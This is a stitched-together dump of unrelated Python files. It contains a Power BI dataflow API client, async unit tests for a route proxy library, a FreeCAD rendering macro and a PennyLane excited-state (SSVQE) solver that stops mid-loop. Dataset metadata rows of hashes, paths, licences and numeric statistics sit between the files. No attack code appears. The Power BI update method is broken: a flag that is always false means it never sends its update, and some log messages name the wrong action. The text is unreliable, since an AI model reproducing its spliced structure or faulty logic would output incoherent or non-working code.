def get_dataflows(self, workspace_name: str) -> List:
self.client.check_token_expiration()
self.workspaces.get_workspace_id(workspace_name)
url = self.client.base_url + "groups/" + self.workspaces.workspace[workspace_name] + "/dataflows"
response = requests.get(url, headers = self.client.json_headers)
if response.status_code == self.client.http_ok_code:
logging.info("Successfully retrieved dataflows.")
self.dataflows = response.json()['value']
return self.dataflows
else:
logging.error("Failed to retrieve pipelines.")
self.client.force_raise_http_error(response)
# https://docs.microsoft.com/en-us/rest/api/power-bi/dataflows/get-dataflow
def get_dataflow(self, workspace_name: str, dataflow_name: str) -> List:
self.client.check_token_expiration()
self.get_dataflows(workspace_name)
dataflow_exists = False
for item in self.dataflows:
if item['name'] == dataflow_name:
self.dataflow = item
dataflow_exists = True
break
else:
self.dataflow = None
if dataflow_exists:
url = self.client.base_url + "groups/" + self.workspaces.workspace[workspace_name] + "/dataflows/" + self.dataflow['objectId']
else:
return logging.info('Dataflow with name: ' + dataflow_name + ' does not exist.')
response = requests.get(url, headers = self.client.json_headers)
if response.status_code == self.client.http_ok_code:
logging.info("Successfully retrieved dataflows.")
self.dataflow_json = json.dumps(response.json(), indent=10)
return self.dataflow_json
else:
logging.error("Failed to retrieve dataflows.")
self.client.force_raise_http_error(response)
# https://docs.microsoft.com/en-us/rest/api/power-bi/dataflows/get-dataflow-data-sources
def get_dataflow_datasources(self, workspace_name: str, dataflow_name: str) -> List:
self.client.check_token_expiration()
self.get_dataflows(workspace_name)
dataflow_exists = False
for item in self.dataflows:
if item['name'] == dataflow_name:
self.dataflow = item
dataflow_exists = True
break
else:
self.dataflow = None
if dataflow_exists:
url = self.client.base_url + "groups/" + self.workspaces.workspace[workspace_name] + "/dataflows/" + self.dataflow['objectId'] + "/datasources"
else:
return logging.info('Dataflow with name: ' + dataflow_name + ' does not exist.')
response = requests.get(url, headers = self.client.json_headers)
if response.status_code == self.client.http_ok_code:
logging.info("Successfully retrieved dataflows.")
self.dataflow_json = json.dumps(response.json(), indent=10)
return self.dataflow_json
else:
logging.error("Failed to retrieve dataflows.")
self.client.force_raise_http_error(response)
# https://docs.microsoft.com/en-us/rest/api/power-bi/dataflows/update-dataflow
def update_dataflow(self, workspace_name: str, dataflow_name: str) -> List:
self.client.check_token_expiration()
self.get_dataflow(workspace_name, dataflow_name)
dataflow_exists = False
if self.dataflow == None:
logging.info('Dataflow with name: ' + dataflow_name + " does not exist. Cannot update the dataflow.")
return None
if self.dataflow['name'] != dataflow_name:
logging.info('Dataflow with name: ' + dataflow_name + " does not exist. Cannot update the dataflow.")
return None
if dataflow_exists:
self.export_dataflow(workspace_name, dataflow_name)
url = self.client.base_url + "groups/" + self.workspaces.workspace[workspace_name] + "/dataflows/" + self.dataflow['objectId']
else:
return logging.info('Dataflow with name: ' + dataflow_name + ' does not exist.')
payload = {
"name": "SQLDataFlow",
"description": "New dataflow description",
"allowNativeQueries": "false",
"computeEngineBehavior": "computeOptimized"
}
response = requests.patch(url, json = payload, headers = self.client.json_headers)
if response.status_code == self.client.http_ok_code:
logging.info("Successfully retrieved dataflows.")
self.dataflow_json = json.dumps(response.json(), indent=10)
return self.dataflow_json
else:
logging.error("Failed to retrieve dataflows.")
self.client.force_raise_http_error(response)
# https://docs.microsoft.com/en-us/rest/api/power-bi/dataflows/delete-dataflow
def delete_dataflow(self, workspace_name: str, dataflow_name: str) -> List:
self.client.check_token_expiration()
self.get_dataflow(workspace_name, dataflow_name)
if self.dataflow == None:
logging.info('Dataflow with name: ' + dataflow_name + " does not exist. Cannot delete the dataflow.")
return None
if self.dataflow['name'] != dataflow_name:
logging.info('Dataflow with name: ' + dataflow_name + " does not exist. Cannot delete the dataflow.")
return None
self.export_dataflow(workspace_name, dataflow_name)
url = self.client.base_url + "groups/" + self.workspaces.workspace[workspace_name] + "/dataflows/" + self.dataflow['objectId']
response = requests.delete(url, headers = self.client.json_headers)
if response.status_code == self.client.http_ok_code:
self.dataflow = None
return logging.info("Successfully deleted dataflow with name: " + dataflow_name + " in workspace: " + workspace_name)
else:
logging.error("Failed to delete dataflow with name: " + dataflow_name + " in workspace: " + workspace_name)
self.client.force_raise_http_error(response)
def export_dataflow(self, workspace_name: str, dataflow_name: str):
self.client.check_token_expiration()
self.get_dataflow(workspace_name, dataflow_name)
out_file = dataflow_name + ".json"
blob = utils.blob_client(out_file)
with open(out_file, "w+") as f:
f.write(self.dataflow_json)
with open(out_file, "rb") as data:
blob.upload_blob(data, overwrite = True)
| 42.967391
| 155
| 0.638376
| 896
| 7,906
| 5.46317
| 0.121652
| 0.067416
| 0.058836
| 0.044127
| 0.80286
| 0.793871
| 0.786925
| 0.779367
| 0.770582
| 0.740143
| 0
| 0.001024
| 0.258917
| 7,906
| 184
| 156
| 42.967391
| 0.834443
| 0.065393
| 0
| 0.707143
| 0
| 0
| 0.146824
| 0.006095
| 0
| 0
| 0
| 0
| 0
| 1
| 0.057143
| false
| 0
| 0.05
| 0
| 0.207143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d90eb3a422b980c194eb1f710dc8bb55fae20a97
| 17,655
|
py
|
Python
|
tests/unittests/_async/test_service_route_proxy.py
|
mardiros/blacksmith
|
c86a870da04b0d916f243cb51f8861529284337d
|
[
"BSD-3-Clause"
] | 15
|
2022-01-16T15:23:23.000Z
|
2022-01-20T21:42:53.000Z
|
tests/unittests/_async/test_service_route_proxy.py
|
mardiros/blacksmith
|
c86a870da04b0d916f243cb51f8861529284337d
|
[
"BSD-3-Clause"
] | 9
|
2022-01-11T19:42:42.000Z
|
2022-01-26T20:24:23.000Z
|
tests/unittests/_async/test_service_route_proxy.py
|
mardiros/blacksmith
|
c86a870da04b0d916f243cb51f8861529284337d
|
[
"BSD-3-Clause"
] | null | null | null |
from typing import Any
import pytest
from blacksmith import Request
from blacksmith.domain.exceptions import (
HTTPError,
NoContractException,
UnregisteredRouteException,
WrongRequestTypeException,
)
from blacksmith.domain.model import (
CollectionParser,
HTTPRequest,
HTTPResponse,
HTTPTimeout,
)
from blacksmith.domain.model.params import CollectionIterator
from blacksmith.domain.registry import ApiRoutes
from blacksmith.middleware._async.auth import AsyncHTTPAuthorizationMiddleware
from blacksmith.middleware._async.base import AsyncHTTPAddHeadersMiddleware
from blacksmith.service._async.base import AsyncAbstractTransport
from blacksmith.service._async.route_proxy import AsyncRouteProxy, build_timeout
from blacksmith.typing import ClientName, Path
from tests.unittests.dummy_registry import GetParam, GetResponse, PostParam
class FakeTransport(AsyncAbstractTransport):
def __init__(self, resp: HTTPResponse) -> None:
super().__init__()
self.resp = resp
async def __call__(
self,
req: HTTPRequest,
client_name: ClientName,
path: Path,
timeout: HTTPTimeout,
) -> HTTPResponse:
if self.resp.status_code >= 400:
raise HTTPError(f"{self.resp.status_code} blah", req, self.resp)
return self.resp
def test_build_timeout():
timeout = build_timeout(HTTPTimeout())
assert timeout == HTTPTimeout(30.0, 15.0)
timeout = build_timeout(5.0)
assert timeout == HTTPTimeout(5.0, 15.0)
timeout = build_timeout((5.0, 2.0))
assert timeout == HTTPTimeout(5.0, 2.0)
async def test_route_proxy_prepare_middleware(
dummy_http_request: HTTPRequest, echo_middleware: AsyncAbstractTransport
):
resp = HTTPResponse(200, {}, "")
proxy: AsyncRouteProxy[Any, Any] = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"GET": (Request, None)},
collection_path=None,
collection_contract=None,
collection_parser=None,
),
transport=echo_middleware,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[
AsyncHTTPAuthorizationMiddleware("Bearer", "abc"),
AsyncHTTPAddHeadersMiddleware({"foo": "bar"}),
AsyncHTTPAddHeadersMiddleware({"Eggs": "egg"}),
],
)
resp = await proxy._handle_req_with_middlewares(
dummy_http_request,
HTTPTimeout(4.2),
"/",
)
assert resp.headers == {
"Authorization": "Bearer abc",
"X-Req-Id": "42",
"Eggs": "egg",
"foo": "bar",
}
async def test_route_proxy_prepare_unregistered_method_resource():
resp = HTTPResponse(200, {}, "")
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={},
collection_path=None,
collection_contract=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
with pytest.raises(NoContractException) as exc:
resp = proxy._prepare_request("GET", {}, proxy.routes.resource)
assert (
str(exc.value)
== "Unregistered route 'GET' in resource 'dummies' in client 'dummy'"
)
async def test_route_proxy_prepare_unregistered_method_collection():
resp = HTTPResponse(200, {}, "")
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
"/",
{},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
with pytest.raises(NoContractException) as exc:
resp = proxy._prepare_request("GET", {}, proxy.routes.collection)
assert (
str(exc.value)
== "Unregistered route 'GET' in resource 'dummies' in client 'dummy'"
)
async def test_route_proxy_prepare_unregistered_resource():
resp = HTTPResponse(200, {}, "")
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
"/",
{},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
with pytest.raises(UnregisteredRouteException) as exc:
resp = proxy._prepare_request("GET", {}, proxy.routes.resource)
assert (
str(exc.value)
== "Unregistered route 'GET' in resource 'dummies' in client 'dummy'"
)
async def test_route_proxy_prepare_unregistered_collection():
resp = HTTPResponse(200, {}, "")
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
"/",
{},
None,
None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
with pytest.raises(UnregisteredRouteException) as exc:
resp = proxy._prepare_request("GET", {}, proxy.routes.collection)
assert (
str(exc.value)
== "Unregistered route 'GET' in resource 'dummies' in client 'dummy'"
)
async def test_route_proxy_prepare_wrong_type():
resp = HTTPResponse(200, {}, "")
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
"/",
{"GET": (GetParam, GetResponse)},
None,
None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
with pytest.raises(WrongRequestTypeException) as exc:
resp = proxy._prepare_request(
"GET", PostParam(name="barbie", age=42), proxy.routes.resource
)
assert (
str(exc.value) == "Invalid type 'tests.unittests.dummy_registry.PostParam' "
"for route 'GET' in resource 'dummies' in client 'dummy'"
)
async def test_route_proxy_collection_head():
resp = HTTPResponse(200, {}, "")
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"HEAD": (Request, None)},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.collection_head({"name": "baby"})).json
assert resp == ""
async def test_route_proxy_collection_get():
httpresp = HTTPResponse(
200, {"Total-Count": "10"}, [{"name": "alice"}, {"name": "bob"}]
)
tp = FakeTransport(httpresp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"GET": (Request, None)},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp: CollectionIterator[Any] = await proxy.collection_get()
assert resp.meta.total_count == 10
assert resp.meta.count == 2
lresp = list(resp)
assert lresp == [{"name": "alice"}, {"name": "bob"}]
async def test_route_proxy_collection_get_with_parser():
class MyCollectionParser(CollectionParser):
total_count_header: str = "X-Total-Count"
httpresp = HTTPResponse(
200, {"X-Total-Count": "10"}, [{"name": "alice"}, {"name": "bob"}]
)
tp = FakeTransport(httpresp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"GET": (Request, None)},
collection_parser=MyCollectionParser,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp: CollectionIterator[Any] = await proxy.collection_get()
assert resp.meta.total_count == 10
assert resp.meta.count == 2
lresp = list(resp)
assert lresp == [{"name": "alice"}, {"name": "bob"}]
async def test_route_proxy_collection_post():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"POST": (Request, None)},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.collection_post({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_collection_put():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"PUT": (Request, None)},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.collection_put({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_collection_patch():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"PATCH": (Request, None)},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.collection_patch({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_collection_delete():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"DELETE": (Request, None)},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.collection_delete({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_collection_options():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
None,
None,
collection_path="/",
collection_contract={"OPTIONS": (Request, None)},
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.collection_options({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_head():
resp = HTTPResponse(200, {}, "")
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"HEAD": (Request, None)},
collection_contract=None,
collection_path=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.head({"name": "baby"})).json
assert resp == ""
async def test_route_proxy_get():
resp = HTTPResponse(200, {}, [{"name": "alice"}, {"name": "bob"}])
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"GET": (Request, None)},
collection_contract=None,
collection_path=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.get({})).json
assert resp == [{"name": "alice"}, {"name": "bob"}]
async def test_route_proxy_post():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"POST": (Request, None)},
collection_contract=None,
collection_path=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.post({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_put():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"PUT": (Request, None)},
collection_contract=None,
collection_path=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.put({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_patch():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"PATCH": (Request, None)},
collection_contract=None,
collection_path=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.patch({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_delete():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"DELETE": (Request, None)},
collection_contract=None,
collection_path=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.delete({})).json
assert resp == {"detail": "accepted"}
async def test_route_proxy_options():
resp = HTTPResponse(202, {}, {"detail": "accepted"})
tp = FakeTransport(resp)
proxy = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"OPTIONS": (Request, None)},
collection_contract=None,
collection_path=None,
collection_parser=None,
),
transport=tp,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[],
)
resp = (await proxy.options({})).json
assert resp == {"detail": "accepted"}
async def test_unregistered_collection(echo_middleware: AsyncAbstractTransport):
proxy: AsyncRouteProxy[Any, Any] = AsyncRouteProxy(
"dummy",
"dummies",
"http://dummy/",
ApiRoutes(
path="/",
contract={"GET": (Request, None)},
collection_path=None,
collection_contract=None,
collection_parser=None,
),
transport=echo_middleware,
timeout=HTTPTimeout(),
collection_parser=CollectionParser,
middlewares=[
AsyncHTTPAuthorizationMiddleware("Bearer", "abc"),
AsyncHTTPAddHeadersMiddleware({"foo": "bar"}),
AsyncHTTPAddHeadersMiddleware({"Eggs": "egg"}),
],
)
for verb in ("get", "post", "put", "patch", "delete", "options", "head"):
with pytest.raises(UnregisteredRouteException) as ctx:
meth = getattr(proxy, f"collection_{verb}")
await meth({})
assert (
str(ctx.value) == f"Unregistered route '{verb.upper()}' "
f"in resource 'dummies' in client 'dummy'"
)
| 27.759434
| 84
| 0.570263
| 1,517
| 17,655
| 6.484509
| 0.092287
| 0.069737
| 0.026837
| 0.06933
| 0.818542
| 0.808173
| 0.794246
| 0.785809
| 0.775338
| 0.765986
| 0
| 0.008323
| 0.299065
| 17,655
| 635
| 85
| 27.80315
| 0.786586
| 0
| 0
| 0.725979
| 0
| 0
| 0.09697
| 0.003682
| 0
| 0
| 0
| 0
| 0.051601
| 1
| 0.003559
| false
| 0
| 0.023132
| 0
| 0.033808
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d91f8d3a57cbe0c1954b9abc7b44d7d8fcb271eb
| 3,381
|
py
|
Python
|
Brevet_US_4661747_Edwin_Gray_Power_Tube/Version_2/assembly_plant.py
|
Jay4C/Python-Macros-For_FreeCAD
|
12ce5441a26731377fa43e86ccd2be675740d3a0
|
[
"MIT"
] | null | null | null |
Brevet_US_4661747_Edwin_Gray_Power_Tube/Version_2/assembly_plant.py
|
Jay4C/Python-Macros-For_FreeCAD
|
12ce5441a26731377fa43e86ccd2be675740d3a0
|
[
"MIT"
] | null | null | null |
Brevet_US_4661747_Edwin_Gray_Power_Tube/Version_2/assembly_plant.py
|
Jay4C/Python-Macros-For_FreeCAD
|
12ce5441a26731377fa43e86ccd2be675740d3a0
|
[
"MIT"
] | null | null | null |
import FreeCAD, Part, Drawing, math, Mesh
DOC = FreeCAD.activeDocument()
DOC_NAME = "assembly_plant"
def clear_doc():
# Clear the active document deleting all the objects
for obj in DOC.Objects:
DOC.removeObject(obj.Name)
def setview():
# Rearrange View
FreeCAD.Gui.SendMsgToActiveView("ViewFit")
FreeCAD.Gui.activeDocument().activeView().viewAxometric()
if DOC is None:
FreeCAD.newDocument(DOC_NAME)
FreeCAD.setActiveDocument(DOC_NAME)
DOC = FreeCAD.activeDocument()
else:
clear_doc()
# EPS= tolerance to use to cut the parts
EPS = 0.10
EPS_C = EPS * -0.5
cote_maximal = 2 + 8 + 8 + 8 + 86 + 8 + 8 + 8 + 2
# assembly
Mesh.insert(u"assembly.stl","assembly_plant")
FreeCADGui.getDocument("assembly_plant").getObject("assembly").ShapeColor = (0.10,0.10,0.10)
FreeCAD.getDocument("assembly_plant").getObject("assembly").Placement = App.Placement(App.Vector(0,0,0),App.Rotation(App.Vector(0,0,1),90))
Mesh.insert(u"assembly.stl","assembly_plant")
FreeCADGui.getDocument("assembly_plant").getObject("assembly001").ShapeColor = (0.0,0.10,0.10)
FreeCAD.getDocument("assembly_plant").getObject("assembly001").Placement = App.Placement(App.Vector(cote_maximal + 1 + 5 + 1,0,0),App.Rotation(App.Vector(0,0,1),90))
setview()
# Generate PNG files
file = 'assembly_plant_v2_'
# Ombr�
Gui.runCommand('Std_DrawStyle',5)
i = 1
Gui.activeDocument().activeView().viewIsometric()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewFront()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewTop()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewRight()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewRear()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewBottom()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewLeft()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
# Filaire
Gui.runCommand('Std_DrawStyle',2)
i += 1
Gui.activeDocument().activeView().viewIsometric()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewFront()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewTop()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewRight()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewRear()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewBottom()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
i += 1
Gui.activeDocument().activeView().viewLeft()
Gui.activeDocument().activeView().saveImage(file + str(i) + '.png',1117,388,'Current')
| 32.2
| 165
| 0.711624
| 439
| 3,381
| 5.437358
| 0.205011
| 0.206535
| 0.328027
| 0.111437
| 0.749057
| 0.708002
| 0.708002
| 0.708002
| 0.708002
| 0.66946
| 0.000296
| 0.055773
| 0.093168
| 3,381
| 104
| 166
| 32.509615
| 0.72244
| 0.043182
| 0
| 0.642857
| 0
| 0
| 0.113108
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.028571
| false
| 0
| 0.014286
| 0
| 0.042857
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d92470ccbbc8140b45321f0b81d58e6a5937fd0f
| 9,445
|
py
|
Python
|
SSVQE.py
|
HirparaAmit/Qhack-2022
|
6da21841b7cfab0e646f9bac825bb10db2b39edc
|
[
"MIT"
] | 4
|
2022-03-10T09:53:38.000Z
|
2022-03-26T00:45:00.000Z
|
SSVQE.py
|
HirparaAmit/Qhack-2022
|
6da21841b7cfab0e646f9bac825bb10db2b39edc
|
[
"MIT"
] | null | null | null |
SSVQE.py
|
HirparaAmit/Qhack-2022
|
6da21841b7cfab0e646f9bac825bb10db2b39edc
|
[
"MIT"
] | 1
|
2022-03-28T08:44:57.000Z
|
2022-03-28T08:44:57.000Z
|
import pennylane as qml
from pennylane import numpy as np
import matplotlib.pyplot as plt
def WEIGHTED_SSVQE(hamiltonian, ansatz, params, opt_name='Adam', stepsize=0.1, iterations=100, k=0, device_name='default.qubit'):
"""Calculates the kth excited state energy for of a given Hamiltonian.
Args:
=> hamiltonian (qml.Hamiltonian): Hamiltonian for which the Kth excited state energy is to be found.
=> ansatz (function(params, wires, *args)): The circuit ansatz for which the cost function will be optimized.
ansatz must have atleast two arguments 'params' and 'wires'.
There is no need to prepare orthogonal basis stats, they will be prepared by the algorithm.
=> params (any): Parameters that can be passed to the provided ansatz.
=> opt_name(string): Name of the optimizer to use for optimization.
Currently the function supports 'Adam' 'Adagrad' 'GradientDescent'.
=> stepsize (float): Stepsize for the optimizer.
=> iterations (int): No. of Iterations for the optimization.
=> k (int): K for which the Kth excited state energy will be calculated. K <= 2^qubits-1.
=> device_name(string): device name for creating device such that qml.device(device_name, wires=wires).
Returns:
=> (Energy, Energies): The function returns a tuple of Energy of Kth excited state and list of energies at each iteration for plotting the graph.
"""
# Calculate number of qubits required for the given Hamiltonian and create the device.
qubits = len(hamiltonian.wires)
device = qml.device(device_name, wires=qubits)
wires = range(qubits)
#Define the weights for the cost function.
weights = np.random.random()
# State Preparation for orthogonal states.
def state_prep(state_value):
for index, value in enumerate(np.binary_repr(state_value, qubits)):
if value == '1':
qml.PauliX(index)
# Cost of each orthogonal state.
@qml.qnode(device)
def state_cost(params, state_value):
state_prep(state_value)
ansatz(params, wires)
return qml.expval(hamiltonian)
# Total cost of the system.
def total_cost(params):
cost = 0
for index in range(k+1):
if index == k:
cost += weights * state_cost(params, state_value=index)
else:
cost += state_cost(params, state_value=index)
return cost
# Optimizers options.
optimizers = {
'Adam': qml.AdamOptimizer(stepsize=stepsize),
'Adagrad': qml.AdagradOptimizer(stepsize=stepsize),
'GradientDescent': qml.GradientDescentOptimizer(stepsize=stepsize)
}
# Define the Optimizer and initial parameters.
optimizer = optimizers[opt_name]
energies = []
# Optimization loop.
for _ in range(iterations):
params = optimizer.step(total_cost, params)
energy = state_cost(params, state_value=k)
energies.append(energy)
return energies[-1], energies
def WEIGHTED_SSVQE_ALL(hamiltonian, ansatz, params, opt_name='Adam', stepsize=0.1, iterations=100, k=[0], device_name='default.qubit'):
"""Calculates the energies upto Kth excited state for of a given Hamiltonian.
Args:
=> hamiltonian (qml.Hamiltonian): Hamiltonian for which the Kth excited state energy is to be found.
=> ansatz (function(params, wires, *args)): The circuit ansatz for which the cost function will be optimized.
ansatz must have atleast two arguments 'params' and 'wires'.
There is no need to prepare orthogonal basis stats, they will be prepared by the algorithm.
=> params (any): Parameters that can be passed to the provided ansatz.
=> opt_name(string): Name of the optimizer to use for optimization.
Currently the function supports 'Adam' 'Adagrad' 'GradientDescent'.
=> stepsize (float): Stepsize for the optimizer.
=> iterations (int): No. of Iterations for the optimization.
=> k (int): K till which the excited state energy will be calculated. K <= 2^qubits-1.
=> device_name(string): device name for creating device such that qml.device(device_name, wires=wires).
Returns:
=> [[Energy, Energies]]: The function returns a List of List of Energy of Kth excited state and list of energies at each iteration for plotting the graph.
"""
# Calculate number of qubits required for the given Hamiltonian and create the device.
qubits = len(hamiltonian.wires)
device = qml.device(device_name, wires=qubits)
wires = range(qubits)
#Define the weights for the cost function.
weights = np.arange(k+1, 0, -1)
# State Preparation for orthogonal states.
def state_prep(state_value):
for index, value in enumerate(np.binary_repr(state_value, qubits)):
if value == '1':
qml.PauliX(index)
# Cost of each orthogonal state.
@qml.qnode(device)
def state_cost(params, state_value):
state_prep(state_value)
ansatz(params, wires)
return qml.expval(hamiltonian)
# Total cost of the system.
def total_cost(params):
cost = 0
for index in range(k+1):
cost += weights[index] * state_cost(params, state_value=index)
return cost
# Optimizers options.
optimizers = {
'Adam': qml.AdamOptimizer(stepsize=stepsize),
'Adagrad': qml.AdagradOptimizer(stepsize=stepsize),
'GradientDescent': qml.GradientDescentOptimizer(stepsize=stepsize)
}
# Define the Optimizer and initial parameters.
optimizer = optimizers[opt_name]
energies = np.zeros((k+1,iterations))
# Optimization loop.
for itr in range(iterations):
params = optimizer.step(total_cost, params)
for index in range(k+1):
